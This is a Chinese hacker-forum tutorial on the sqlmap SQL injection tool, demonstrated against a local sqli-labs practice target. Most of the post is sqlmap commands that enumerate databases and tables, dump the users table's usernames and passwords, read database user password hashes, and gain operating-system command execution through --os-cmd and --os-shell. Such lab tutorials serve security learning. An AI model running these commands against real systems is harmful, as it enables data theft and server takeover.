[工具使用] SQLMap 使用详解

803 0
Honkers 2025-12-5 10:08:23 来自手机 | 显示全部楼层 |阅读模式

sqlmap是一个常用的自动化SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,并且内置了很多绕过插件,支持很多种数据库。

这里使用sqli-lab做实验。

1、sqlmap入门命令

1.1 判断是否存在注入

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1
复制代码

可以看到结果显示存在注入,并在会在后面给出payload。

1.2 查询当前用户下的所有数据库

该命令是在已经确定网站存在注入后,用于查询当前用户下的所有数据库,如下所示。

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 --dbs
复制代码

可以看到一共有8个数据库杯茶叔,当继续注入时,--dbs可以缩写成-D xxx ,意思是在xxx数据库中继续查询其他数据。

1.3 获取数据库中的表名

这条命令可以在查出数据库后,查询指定数据库中所有的表名,如果不适用-D指定具体的数据库的话,那sqlmap会列出数据库中所有库的表。

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 -D security --tables
复制代码

从上图可以看出security表中一共有3个表。继续进行注入时 --tables 可以缩写成-T xxx,用来指定表名。

1.4 获取字段名

常规流程,获取完表名肯定要获取表结构的,接下来拿字段名。

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 -D security -T users --columns
复制代码

获取到表结构如图。

--columns 可以缩写成-C

1.5 获取字段内容

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 -D security -T users -C id,username,password --dump
复制代码

这就是sql注入的最终目标,

1.6 获取数据库的所有用户

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 --users
复制代码

1.7 获取数据库用户的密码

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 --passwords
复制代码

 这里好像我没有给数据库设置密码。

1.8 获取当前网站数据库的名称

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 --current-db
复制代码

1.9 获取当前网站数据库的用户名称

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 --current-user
复制代码

2 sqlmap进阶命令。

2.1 --level 5 : 探测等级

 参数--level 5指需要执行的测试等级,一共有5个等级,可以不加,默认是1。sqlmap的payload都在xml/payloads.xml里看到,也可以根据相应的格式添加自己的payload,其中5级包含的payload最多,会自动破解出cookie、XFF等头部注入。当然,level 5的探测速度会相对较慢。

这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent Referer头在level为3就会测试。如果不确定哪个参数或者payload为注入点时,最好使用高等级的level。

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 --level 2
复制代码

2.2 --is-dba

该命令用于查看当前账户是否为数据库管理员账户,

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 --is-dba
复制代码

2.3 --roles

该命令用于查看数据库用户的角色。

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 --roles
复制代码

2.4 --referer

sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定大于等3时,就会尝试对referer注入,可以使用referer命令来欺骗,如--referer https://www.baidu.com。

2.5 --sql-shell

该命令可以用于运行指定的sql语句。

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 --sql-shell
复制代码

2.6 --os-cmd,--os-shell

可以运行任意操作系统命令。

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 --os-cmd ls
复制代码

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 --os-cmd dir
复制代码

使用--os-shell 会模拟创建一个真实的shell。

  1. sqlmap -u http://192.168.146.129/sql/Less-1/?id=1 --os-shell
复制代码

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行